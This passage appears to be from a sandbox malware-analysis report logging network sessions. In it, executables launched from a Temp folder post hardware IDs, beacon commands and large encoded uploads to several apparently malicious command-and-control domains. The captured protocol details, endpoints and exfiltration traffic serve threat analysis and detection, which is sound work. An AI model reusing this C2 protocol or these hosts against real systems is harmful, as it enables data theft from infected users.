2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: f1 6d 77 28 f5 3d c7 5d 18 71 a8 9a 6b c7 61 d1 3e b6 0f f2 80 2a 89 1d a4 63 cb 14 21 56 fc e7 c5 1e 06 76 7c 1b d8 5f 66 5b 23 82 04 f0 fb 74 4f 0d b3 07 a3 4c 81 29 4c 04 24 49 57 b2 04 d6 59 b8 fb a3 e1 8f df a1 82 82 fd 36 14 a1 73 10 dd 95 f1 7f 03 e2 79 d6 c9 d5 3d c6 2e 48 7a 0d c4 e8 50 26 3a db a3 2e b8 43 ad 92 20 ef 36 e8 ab 74 56 a5 1f e2 78 e8 f8 7d 8b 56 02 88 25 d1 d5 61 d9 d0 d2 8f a0 bd 21 cc 1c df fe 11 6b 7b 18 96 5c 79 37 d0 f5 71 f3 35 29 99 87 65 f6 4d 77 6d 5f 6f 3e 0f db d9 90 e3 2e e0 0f 47 f2 2f 33 05 dd 33 91 41 c6 2d e0 03 b0 56 c9 24 ba 29 6c a9 56 70 5d 2a 53 63 de fa 73 2f cf cc e0 6b bb d5 27 42 4f 3a a2 7c 68 36 17 8f ff e6 52 1f ed 8b 06 1f f6 91 1e f2 24 7a 10 61 76 18 f5 81 57 d1 fc ee 74 4f 10 74 b0 bb 12 a9 22 1f d5 Data Ascii: mw(=]qka>c!Vv\|_f[#tOL)L$IWY6sy=.HzP&:.C 6tVx}V%a!k{\y7q5)eMwm_o>.G/33A-V$)lVp]Scs/k'BO:\|h6R$zavWtOt"
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 9e 04 77 17 b9 63 fd 4e 77 b9 63 89 e6 a5 38 7d 0c 6f 69 ab b4 a2 f2 7e bf 73 21 d1 6b 8c 84 f3 f2 e9 06 c8 64 6f 13 84 31 3a fc 39 ff 2a b3 05 1d af 73 88 7b 60 9b c2 00 95 83 b5 6c 4a 2d 34 33 09 2d d0 e6 6e eb bf bf 2d 59 02 08 fa 01 63 f0 32 4b 64 1c 84 c2 e1 f8 74 9e 15 31 9c 73 82 3e 5c 05 45 ec 66 b9 e8 b5 f5 85 f1 af 48 a0 ae 3b b9 73 df 49 c4 58 6b a1 57 0e 0e 3a 1c c2 24 6b 23 66 14 48 06 88 90 a4 7d 66 b3 cf 47 93 68 85 82 88 b7 15 56 2a 84 1a a5 9a 8c 81 6c 96 ce 1e 41 d0 14 2e 29 c2 3c fd 59 59 6e ed 2c 2f 7d 50 b8 a6 9f 7e 4e 68 25 d6 28 5e b9 bc f0 6d d3 a2 51 59 45 99 ac 08 32 4b 50 7d 97 b7 ae a4 9f c2 16 0c a3 78 5a ad ed 85 61 5b c9 f2 c8 13 8d aa 43 3b f3 8a 10 d0 32 43 b8 fe 1d 58 59 f0 43 c3 eb b3 ab 55 f5 61 d5 1d fd 26 b1 37 0e 35 Data Ascii: wcNwc8}oi~s!kdo1:9s{`lJ-43-n-Yc2Kdt1s>\EfH;sIXkW:$k#fH}fGhVlA.)<YYn,/}P~Nh%(^mQYE2KP}xZa[C;2CXYCUa&75
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 4d b6 14 4b c6 9f 72 e5 66 cc df f9 58 3a 29 f6 41 a0 fa cf a4 12 5b 68 df 32 d3 47 d6 31 72 ae f4 fc de b4 3e d7 57 8b d6 ed 21 84 d5 47 b9 1a 37 54 37 14 d2 e5 65 46 6a 35 2f 8d a3 c2 e1 48 54 0c 8e 1b 75 3d 35 68 d0 ef d5 35 07 b1 f7 e9 48 fa bf a9 d0 95 3b a6 25 3b 40 4e ac b2 b8 28 34 8b 42 f5 4e 4d a6 64 a8 3d 48 b4 eb 22 cc da cc c0 e4 2f 50 f7 89 c7 f1 01 42 f6 84 6e ff f4 78 c4 54 71 fa b2 bb 2a fd 5c ba 59 f5 fb 12 46 70 35 0a 08 53 39 df f0 1b c5 14 11 8f 52 5b 3e 30 7a 63 d0 a0 e5 3a cf 56 a3 f3 1e bc af 52 a6 1e 1b 6c ca 70 cf ae c6 2d 63 51 7d 0f 6f a6 46 e1 35 70 2a 1d 59 cd 49 be 0c 3b 42 d4 84 8f 92 78 e2 fe 91 30 3e 42 3a b5 44 c8 ee 98 e9 c1 2f 7d 38 c4 9e 89 a2 59 de 72 45 c1 fd 36 c6 46 4f 37 a5 c7 37 7f cf bb 3c 6c 08 e7 47 40 eb db Data Ascii: MKrfX:)A[h2G1r>W!G7T7eFj5/HTu=5h5H;%;@N(4BNMd=H"/PBnxTq\YFp5S9R[>0zc:VRlp-cQ}oF5pYI;Bx0>B:D/}8YrE6FO77<lG@
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 90 fd 6f 62 1b 1f 61 d5 4d 04 9a 63 2f 04 0d 6c 8e 7f f5 f3 68 2d 6d df 6c 7e 66 5b 21 4f 0c 7a e6 17 c4 7e ec e7 71 d9 30 a8 0b 63 24 d8 ff 6f 1d 49 04 cc 6d d2 fc 58 21 20 98 bb 8f 53 9a 8b 89 aa 28 0d 52 9a b7 66 be 13 e1 b1 82 c5 f0 1f 62 a0 40 0d 0d f3 b1 d1 ab 5d 20 c2 01 bb 21 b1 c5 05 da 8c 7d 2e 43 74 c9 57 80 79 22 88 29 69 85 5b 0d ad df ec 88 ae 0a ac 96 cc 64 f4 54 07 17 5c 62 db 52 73 4d 80 42 9f 60 8d c9 ff 74 c1 4d 33 d9 3a 13 ce b0 83 5c 95 41 09 06 be c4 28 90 ec b6 e9 89 7f 67 56 c3 10 ec 90 f1 75 de 77 ba 9a f9 15 a0 e2 1e 91 2f 67 de 41 48 1c be 2b 73 6f 84 39 bd 26 ef 34 f3 29 c5 29 a1 08 d9 76 e3 e4 52 18 88 7a 7e 5e 2f 68 5e 14 7b ed 70 70 39 92 14 5a 7d 95 fb 38 bf 53 08 9c 69 d7 75 2e 02 a1 68 18 e9 d5 b1 17 4c 4b 6c 5d 1b 3d fe Data Ascii: obaMc/lh-ml~f[!Oz~q0c$oImX! S(Rfb@] !}.CtWy")i[dT\bRsMB`tM3:\A(gVuw/gAH+so9&4))vRz~^/h^{pp9Z}8Siu.hLKl]=
2024-12-20 16:43:43 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kcgehhgf5lp9dn92hnjc1khmuh; expires=Tue, 15 Apr 2025 10:30:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DZfmbEVlzhATPc5uRGyQ3L1FI9nuiinfmlEMEXAeN8SGX3W6NOeUARidsuAkQfnyf6WfSP1m0UWcwL2hbfwyQoS3YND8rBkFDEi0DRdJ1UcDdQmCpxKwiSG3CKrtqQ1IV27Oiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117c04e57c425-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1693&min_rtt=1691&rtt_var=636&sent=296&recv=571&lost=0&retrans=0&sent_bytes=2843&recv_bytes=553160&delivery_rate=1726788&cwnd=240&unsent_bytes=0&cid=453d94f3b06d842c&ts=2365&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49765	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:43 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MW7Z34FVOJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15052 Host: discokeyus.lat
2024-12-20 16:43:43 UTC	15052	OUT	Data Raw: 2d 2d 4d 57 37 5a 33 34 46 56 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 57 37 5a 33 34 46 56 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 57 37 5a 33 34 46 56 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 76 62 41 72 5a 2d 2d 0d 0a 2d 2d 4d 57 37 5a 33 34 46 56 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --MW7Z34FVOJContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--MW7Z34FVOJContent-Disposition: form-data; name="pid"2--MW7Z34FVOJContent-Disposition: form-data; name="lid"PvbArZ----MW7Z34FVOJContent-Dispo
2024-12-20 16:43:44 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9e0jkmfjb5r2k7fuqflh4hq8e5; expires=Tue, 15 Apr 2025 10:30:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uXgRlCs%2BEfkr2CXLBlyGfwKF%2FP5Pp%2BGwriARh9kbQqKVCaTExrFB7gsWiRZoC4Q8OnRUeWu92QPajY8mKCs0KI7q5wIDvQW%2F1hnffBwed2Yjeg1lByOASOBcAEgDn3KVNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117cf0e197d24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1825&rtt_var=686&sent=15&recv=21&lost=0&retrans=0&sent_bytes=2831&recv_bytes=15982&delivery_rate=1592148&cwnd=193&unsent_bytes=0&cid=f76629bbd33935d1&ts=991&x=0"
2024-12-20 16:43:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49768	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:45 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: lossekniyyt.click
2024-12-20 16:43:45 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d 26 68 77 69 64 3d 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=9Z1cyc--&j=&hwid=DD89D436C83CA067AC8923850305D13E
2024-12-20 16:43:45 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s7dbm9f5h2jvu93m6jqkl2ichb; expires=Tue, 15 Apr 2025 10:30:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vzgar4Wj1sTkLD3ls8aVFZusmdxplQ%2BjMJApdYs7L5jJGN1UfM5b1kkhNKV51Xxv%2B8GkCcrRNTCSDprHiKvz0x2WwbeINJuOrjT%2FTNBPk4SA6BvwZvJpUYAf5erdh1SJw3Fepg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117d818624229-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1600&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=978&delivery_rate=1820448&cwnd=236&unsent_bytes=0&cid=b09eeba8c4c6f4d2&ts=777&x=0"
2024-12-20 16:43:45 UTC	54	IN	Data Raw: 33 30 0d 0a 62 46 69 45 2b 43 55 4a 78 61 6a 44 68 39 50 4f 30 42 73 49 39 6e 54 4d 38 73 73 41 41 50 55 56 76 73 47 62 7a 45 35 31 46 52 34 33 42 51 3d 3d 0d 0a Data Ascii: 30bFiE+CUJxajDh9PO0BsI9nTM8ssAAPUVvsGbzE51FR43BQ==
2024-12-20 16:43:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49774	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:46 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RFMRSRLZQZ8KUUK2H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19952 Host: discokeyus.lat
2024-12-20 16:43:46 UTC	15331	OUT	Data Raw: 2d 2d 52 46 4d 52 53 52 4c 5a 51 5a 38 4b 55 55 4b 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 46 4d 52 53 52 4c 5a 51 5a 38 4b 55 55 4b 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 46 4d 52 53 52 4c 5a 51 5a 38 4b 55 55 4b 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 76 62 41 72 5a 2d 2d 0d 0a 2d 2d 52 46 4d 52 Data Ascii: --RFMRSRLZQZ8KUUK2HContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--RFMRSRLZQZ8KUUK2HContent-Disposition: form-data; name="pid"3--RFMRSRLZQZ8KUUK2HContent-Disposition: form-data; name="lid"PvbArZ----RFMR
2024-12-20 16:43:46 UTC	4621	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-12-20 16:43:47 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3i93pjubc773g68lqii5hpm1tl; expires=Tue, 15 Apr 2025 10:30:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NjazhW5AA12ODkRCOGyj1IZoDOjMIGYJTSQlxqkRLohGFBbB3uDgZG%2FTcKkTOrOMa4ePCiegLpH9C2l8%2FCfnf97HXI7zTv89S2rhGAiHoOzjNzWZazuNHKJN0V%2B5J9yiFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117dddef60fa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1672&rtt_var=658&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2832&recv_bytes=20911&delivery_rate=1624026&cwnd=252&unsent_bytes=0&cid=52184516c2019d6a&ts=1266&x=0"
2024-12-20 16:43:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49775	104.21.23.76	443	7532	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:46 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-20 16:43:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:43:47 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i20q02oroinef80ilvmtm4cvc7; expires=Tue, 15 Apr 2025 10:30:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=re4%2F4aORWI%2BuQyBT62DQ7KUjRpq1tOJwEkif77IVmAEHTuOoJc869MT2CSaondZBdm2PvQ%2FG6i0vJSYb6q3%2ByLe%2F4ieOXQUFpKhT95dbjJXpLrl6CYqKtHEz2T%2FJmS1UO3d6fMcG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117e18f4442a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1719&rtt_var=657&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1649717&cwnd=160&unsent_bytes=0&cid=03763329c803a99f&ts=773&x=0"
2024-12-20 16:43:47 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:43:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49780	104.21.23.76	443	7532	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:48 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-20 16:43:48 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-20 16:43:49 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g1a4cslnjj251p46osc7elau9t; expires=Tue, 15 Apr 2025 10:30:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HJz7x6mSynnSEs4yXju8KehzgvsdYxRIJToit6XkaWHREnOJw93d%2BaYAT9aY4nBtLCxvfuAMrHmLFZmVGE48M6j8ch7LVWtyb6GUgxKXERFVEvzDFDNdHMRPBzHk13SW5Rf5cLq1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117ef9ab4199d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2002&min_rtt=1994&rtt_var=765&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1414043&cwnd=223&unsent_bytes=0&cid=ff7d0338a2c93e56&ts=1063&x=0"
2024-12-20 16:43:49 UTC	247	IN	Data Raw: 31 34 38 33 0d 0a 6a 42 46 43 66 66 58 39 57 67 74 69 67 36 49 31 7a 56 65 43 53 69 4f 5a 77 4a 33 70 66 63 36 2f 53 35 31 41 6c 67 30 6c 2b 6b 54 33 4d 7a 52 66 7a 38 6c 32 4b 52 48 6d 67 41 2b 35 4a 66 63 76 44 37 75 68 2b 63 74 48 71 4e 34 6e 37 69 57 36 4c 31 4f 58 5a 72 5a 33 49 78 47 47 6d 48 59 70 42 2f 75 41 44 35 59 73 6f 43 39 4e 75 2f 71 2f 6a 42 65 73 33 69 66 2f 49 66 31 69 56 5a 59 6e 35 48 30 6c 46 5a 43 65 50 6d 6f 4f 37 73 64 51 71 44 62 6f 4a 45 72 30 71 50 44 4c 55 65 7a 61 4d 62 39 36 74 45 42 41 6a 69 58 42 63 44 45 57 31 34 42 32 63 45 44 6d 7a 42 66 33 64 65 4d 76 51 66 57 6d 2b 59 49 56 70 74 63 76 2f 69 54 38 66 55 79 63 4c 4f 52 7a 4a 68 53 61 6c 79 70 6e 42 4f 6e 4d 56 71 49 32 6f 47 59 42 2f 4c 71 2f 30 Data Ascii: 1483jBFCffX9Wgtig6I1zVeCSiOZwJ3pfc6/S51Alg0l+kT3MzRfz8l2KRHmgA+5JfcvD7uh+ctHqN4n7iW6L1OXZrZ3IxGGmHYpB/uAD5YsoC9Nu/q/jBes3if/If1iVZYn5H0lFZCePmoO7sdQqDboJEr0qPDLUezaMb96tEBAjiXBcDEW14B2cEDmzBf3deMvQfWm+YIVptcv/iT8fUycLORzJhSalypnBOnMVqI2oGYB/Lq/0
2024-12-20 16:43:49 UTC	1369	IN	Data Raw: 31 2f 2f 37 79 72 75 4d 2b 46 69 56 35 35 6d 38 54 30 35 58 35 43 54 65 44 46 41 36 63 78 5a 71 6a 62 76 4c 30 44 37 73 50 43 4c 48 4b 54 56 4c 66 55 74 2b 32 42 4a 6b 69 48 6d 65 69 63 51 6b 4a 63 2b 5a 67 4f 68 6a 68 65 6f 4c 61 42 77 41 64 75 79 2f 49 67 4c 6f 63 78 70 34 47 7a 74 4c 30 43 55 5a 72 59 7a 4a 68 47 57 6b 6a 68 37 43 4f 72 4c 55 72 30 2b 36 53 56 4d 2b 36 2f 31 68 42 79 73 32 69 50 31 4c 66 35 72 53 70 55 67 37 6e 4e 67 55 64 65 59 49 43 6c 59 6f 65 4e 53 76 7a 4c 73 50 67 50 42 34 75 44 46 42 75 7a 61 4a 62 39 36 74 47 64 43 6d 79 58 6c 66 43 4d 58 6e 49 30 34 65 77 62 73 78 55 57 70 4d 4f 34 69 51 75 6d 6f 38 59 30 63 70 64 59 67 2b 69 58 77 4c 77 6e 59 49 66 59 7a 65 46 2b 32 6b 6a 4e 6c 43 76 62 41 46 37 42 37 2b 57 68 47 39 2b 4b 6e Data Ascii: 1//7yruM+FiV55m8T05X5CTeDFA6cxZqjbvL0D7sPCLHKTVLfUt+2BJkiHmeicQkJc+ZgOhjheoLaBwAduy/IgLocxp4GztL0CUZrYzJhGWkjh7COrLUr0+6SVM+6/1hBys2iP1Lf5rSpUg7nNgUdeYIClYoeNSvzLsPgPB4uDFBuzaJb96tGdCmyXlfCMXnI04ewbsxUWpMO4iQumo8Y0cpdYg+iXwLwnYIfYzeF+2kjNlCvbAF7B7+WhG9+Kn
2024-12-20 16:43:49 UTC	1369	IN	Data Raw: 46 70 73 57 4c 7a 64 77 66 41 5a 73 52 77 4e 42 79 64 33 51 31 71 44 75 2f 48 51 65 38 71 72 6a 45 42 2f 4b 36 2f 30 31 2b 68 33 43 48 35 4d 50 74 69 52 4a 59 6f 34 58 59 76 46 35 65 66 4e 57 77 45 36 73 74 55 6f 6a 48 79 49 6b 48 7a 70 2f 36 42 46 65 79 54 61 66 67 36 74 44 63 48 71 54 48 6c 4d 52 55 63 6d 5a 45 2f 66 30 44 2b 6a 6b 37 76 4d 75 78 6f 47 62 75 76 39 34 34 61 6f 39 77 6a 38 53 66 2b 59 30 2b 57 4a 66 78 38 4a 42 2b 62 6c 7a 4a 6b 44 75 58 49 58 71 51 2b 35 69 68 41 38 65 4b 78 79 78 69 30 6e 58 47 2f 46 76 4e 6a 53 70 64 6b 32 33 41 75 45 5a 43 4a 65 48 5a 4f 2b 49 42 51 6f 33 57 34 61 45 33 79 6f 76 53 42 47 36 7a 61 4a 50 6f 68 38 32 78 4b 6e 79 7a 67 64 43 51 54 6e 70 49 2b 61 51 66 6c 78 55 57 71 50 4f 77 6b 41 62 58 69 2b 4a 4e 66 39 Data Ascii: FpsWLzdwfAZsRwNByd3Q1qDu/HQe8qrjEB/K6/01+h3CH5MPtiRJYo4XYvF5efNWwE6stUojHyIkHzp/6BFeyTafg6tDcHqTHlMRUcmZE/f0D+jk7vMuxoGbuv944ao9wj8Sf+Y0+WJfx8JB+blzJkDuXIXqQ+5ihA8eKxyxi0nXG/FvNjSpdk23AuEZCJeHZO+IBQo3W4aE3yovSBG6zaJPoh82xKnyzgdCQTnpI+aQflxUWqPOwkAbXi+JNf9
